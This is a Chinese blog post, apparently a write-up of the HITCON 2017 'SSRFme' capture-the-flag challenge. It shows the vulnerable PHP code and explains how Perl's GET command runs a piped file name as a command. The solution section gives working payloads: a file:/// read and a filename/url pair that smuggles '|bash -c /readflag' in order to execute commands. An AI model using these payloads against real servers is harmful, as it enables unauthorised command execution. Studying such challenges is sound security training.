首页 > 其他分享 >[HITCON 2017]SSRFme 1

[HITCON 2017]SSRFme 1

时间:2024-07-31 20:57:52浏览次数:8  
标签:SSRFme 函数 文件名 pathinfo basename GET HITCON 2017 filename

目录

代码审计

118.182.186.90
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

输出ip地址
基于客户端IP地址和固定字符串 “orange” 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET[“url”]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET[“filename”]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET[“filename”]
pathinfo() 函数:
pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:
dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)
basename()
basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

payload:?url=file:///&filename=a

再访问

payload:sandbox/(orange加你的ip的md5值)/a

在这里插入图片描述
读了一下flag为空,存在readflag
通过GET特性,来运行readflag
需要先创建一个存在运行命令的文件名

payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

payload:?url=file:|bash -c /readflag&filename=abc

访问abc

payload:sandbox/(orange加你的ip的md5值)/abc

得到flag
在这里插入图片描述

标签:SSRFme,函数,文件名,pathinfo,basename,GET,HITCON,2017,filename
From: https://blog.csdn.net/ubaichu/article/details/140831526

相关文章

  • 「NOIP2017_Junior」图书管理员
    题目题目描述图书馆中每本书都有一个图书编码,可以用于快速检索图书,这个图书编码是一个正整数。每位借书的读者手中有一个需求码,这个需求码也是一个正整数。如果一本书的图书编码恰好以读者的需求码结尾,那么这本书就是这位读者所需要的。小D刚刚当上图书馆的管理员,她......
  • VS2017 最近的项目记录清理 项目历史记录清理
    1、桌面右键—>新建—>快捷方式,输入路径:%USERPROFILE%\AppData\Local\Microsoft\VisualStudio\2、打开第1步创建好的快捷方式VisualStudio,找到15.0_开头的文件夹,我的系统上是15.0_33d5230f,进入该文件夹。3、找到“ApplicationPrivateSettings.xml”文件,用记事本打开,找到CodeContai......
  • Pentester Academy -Windows API Exploitation Recipes: Processes, Tokens and Memor
    早年为PentesterAcademy(https://www.pentesteracademy.com/),如今为INE(https://ine.com/)002安装VS社区版https://visualstudio.microsoft.com/zh-hans/003processlistingapi正在运行的是什么:服务,AV,HIDS/IPS等其他attack开始的点:进程注入,内存dump/修改,TokenSt......
  • G73 线段树+线性基合并 P5607 [Ynoi2013] 无力回天 NOI2017
    视频链接:G73线段树+线性基合并P5607[Ynoi2013]无力回天NOI2017_哔哩哔哩_bilibili   P5607[Ynoi2013]无力回天NOI2017-洛谷|计算机科学教育新生态(luogu.com.cn)//线段树+线性基合并O(n*logn*logv*logv)#include<iostream>#include<cstring>#incl......
  • C141 线段树分治+线性基 P3733 [HAOI2017] 八纵八横
    视频链接:C141线段树分治+线性基P3733[HAOI2017]八纵八横_哔哩哔哩_bilibili   P3733[HAOI2017]八纵八横-洛谷|计算机科学教育新生态(luogu.com.cn)//线段树分治+线性基O(q*logq*logL*logL)#include<iostream>#include<cstring>#include<algorithm>......
  • 华为路由器漏洞CVE-2017-17215
    固件获取https://github.com/Vu1nT0tal/IoT-vulhub/tree/master/HUAWEI/CVE-2017-17215/firmware提取binwalk-MerHG532eV100R001C01B020_upgrade_packet.bin启动qemu-systemsudoqemu-system-mips-Mmalta-kernelvmlinux-3.2.0-4-4kc-malta-hdadebian_wheezy_mips......
  • G71 可删除线性基+离线处理 P3733 [HAOI2017] 八纵八横
    视频链接:G71可删除线性基+离线处理P3733[HAOI2017]八纵八横_哔哩哔哩_bilibili   G67线性基+贪心法P4151[WC2011]最大XOR和路径-董晓-博客园(cnblogs.com) P3733[HAOI2017]八纵八横-洛谷|计算机科学教育新生态(luogu.com.cn)//可删除线性基+离......
  • P3957[NOIP2017普及组]跳房子
    https://www.luogu.com.cn/problem/P3957https://class.51nod.com/Html/Textbook/ChapterIndex.html#textbookId=126&chapterId=337显然,但是维护滑动窗口有技巧,不能每次插入一个值,因为维护\(x\)不方便。所以考虑一个\(cur\),每次对于新的\(i\)不能跳过时移动\(cur\),然后队......
  • [BJOI2017] 树的难题
    这道题目卡常卡了两个半小时仍然没有卡过。。。等进队了让队友帮忙卡一下吧主要想一下思路最主要的就是在计算路径长度的时候,假设当前递归到了点\(i\),那么从点\(i\)出发的两条路径合并在一起,如果第一条边的颜色相同的话就会重复计算,为了解决这个问题,我们只用对每个点进行排序,将......
  • Microsoft SQL Server 2017 RTM GDR (CU31+GDR) 发布,修复高危安全漏洞
    MicrosoftSQLServer2017RTMGDR(CU31+GDR)发布,修复高危安全漏洞SQLServerNativeClientOLEDB提供程序远程代码执行漏洞CVE-2024-35272修复请访问原文链接:https://sysin.org/blog/sql-server-2017/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgSQLSer......